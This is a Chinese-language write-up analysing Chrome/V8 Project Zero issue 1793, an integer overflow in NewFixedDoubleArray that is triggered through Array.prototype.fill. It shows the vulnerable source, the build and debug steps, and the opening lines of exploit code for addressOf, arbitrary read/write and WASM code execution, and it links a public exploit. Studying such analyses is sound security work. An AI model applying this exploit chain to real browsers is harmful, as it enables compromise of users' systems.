Chrome issue-1793分析
本文第一发布平台为安全客:https://www.anquanke.com/post/id/231399
Chrome的issue-1793
报告了一个整数溢出
的漏洞,本文将简单对此issue
进行分析。
漏洞分析
在v8/src/heap/factory.cc
文件的NewFixedDoubleArray
函数中可以发现开发人员对length
进行了长度的检查,即DCHECK_LE(0, length)
。但由于DCHECK
只在debug
中起作用,而在release
中并不起作用,则该检查对正式版本并没有什么作用。如果length
为负数,则会绕过if (length > FixedDoubleArray::kMaxLength)
的检查,而由于int size = FixedDoubleArray::SizeFor(length)
会使用length
来计算出size
,如果我们合理控制length
,则可以让size
计算出来为正数。
1 | // v8/src/heap/factory.cc |
那么我们该如何将负数传递给NewFixedDoubleArray
呢?我们可以使用ArrayPrototypeFill
。ArrayPrototypeFill
在v8/src/builtins/builtins-array.cc
文件中,其首先会获取最初的数组长度,并使用该长度来对start
和end
进行限制。但是在调用GetRelativeIndex
方法的时候可能会触发用户自定义的JS函数,该自定义函数可能会修改长度,这个行为通常来说可能会导致OOB
。
1 | // v8/src/builtins/builtins-array.cc |
接下来会走到FastElementsAccessor::FillImp
,它在v8/src/elements.cc
文件中,其会检查end
是否大于capacity
,如果是则调用GrowCapacityAndConvertImpl
函数进行扩容,而该函数又可能会调用NewFixedDoubleArray
函数。这里的问题在于并没有检查end
转为有符号数后是否会变成负数,所以我们可以通过将end
设为诸如0x80000000
的数字来将负数传递给NewFixedDoubleArray
,从而导致OOB
。
1 | // v8/src/elements.cc |
漏洞利用
首先先配置V8
环境,然后还原回漏洞patch
前的git分支并编译
1 | git reset --hard dd68954 |
编译完成后使用gdb
进行调试,开启--allow-natives-syntax
1 | gdb ./d8 |
按照上面所说的的方法,编写出测试代码
1 | array = []; |
运行之后可以得到array,a,ab
的地址
打印array
的内存并找到array->elements
的地址
打印array->elements
的内存,可以发现array->elements
已经和a
,a->elements
以及ab
的内存区域重叠了,放两张对比图
正常情况:
触发漏洞情况:
那么这就造成了OOB
接下来通过a
来构造addressOf
原语
1 | let idx = arr.indexOf(i2f(0x1234567800000000n)); |
然后通过修改ab
的backstore指针
来任意地址读写
1 | let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1; |
最后WASM
一把梭即可
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
结果
EXP
1 | var buf = new ArrayBuffer(16); |
Reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1793
https://github.com/Geluchat/chrome_v8_exploit/blob/master/1793.js